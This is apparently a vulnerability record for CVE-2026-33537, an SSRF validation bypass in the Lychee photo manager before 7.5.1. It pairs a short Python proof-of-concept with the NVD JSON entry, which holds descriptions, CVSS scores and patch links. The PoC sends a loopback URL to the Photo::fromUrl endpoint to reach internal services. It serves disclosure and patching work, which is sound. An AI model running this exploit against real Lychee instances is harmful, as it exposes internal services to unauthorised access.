CVE-2026-33537

import requests def exploit_ssrf(target_url, internal_ip, auth_token): """ PoC for CVE-2026-33537 Demonstrates bypass of IP validation to access internal services. """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # The endpoint responsible for importing photos from URL endpoint = f"{target_url}/api/Photo::fromUrl" # Payload targeting loopback address (bypassing the incomplete check) payload = { "url": f"http://{internal_ip}" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SSRF Successful! Response from internal service:\n{response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": TARGET = "http://vulnerable-lychee-instance.com" INTERNAL_TARGET = "127.0.0.1:80" # Loopback address TOKEN = "LOW_PRIVILEGE_USER_TOKEN" exploit_ssrf(TARGET, INTERNAL_TARGET, TOKEN)

{"cve": {"id": "CVE-2026-33537", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:05.703", "lastModified": "2026-04-01T18:56:40.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lychee is a free, open-source photo-management tool. The patch introduced for GHSA-cpgw-wgf3-xc6v (SSRF via `Photo::fromUrl`) contains an incomplete IP validation check that fails to block loopback addresses and link-local addresses. Prior to version 7.5.1, an authenticated user can still reach internal services using direct IP addresses, bypassing all four protection configuration settings even when they are set to their secure defaults. Version 7.5.1 contains a fix for the issue."}, {"lang": "es", "value": "Lychee es una herramienta de gestión de fotos gratuita y de código abierto. El parche introducido para GHSA-cpgw-wgf3-xc6v (SSRF a través de 'Photo::fromUrl') contiene una comprobación de validación de IP incompleta que no logra bloquear las direcciones de bucle invertido y las direcciones de enlace local. Antes de la versión 7.5.1, un usuario autenticado aún puede acceder a servicios internos utilizando direcciones IP directas, eludiendo las cuatro configuraciones de protección incluso cuando están configuradas con sus valores predeterminados seguros. La versión 7.5.1 contiene una solución para el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lycheeorg:lychee:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.5.1", "matchCriteriaId": "7D76BAF6-169E-40A5-9961-D2124A82004D"}]}]}], "references": [{"url": "https://github.com/LycheeOrg/Lychee/commit/41386677681d18cd04e42a35b50bd88bf53a4a6a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LycheeOrg/Lychee/security/advisories/GHSA-vq6w-prpf-h287", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Patch", "Vendor Advisory"]}]}}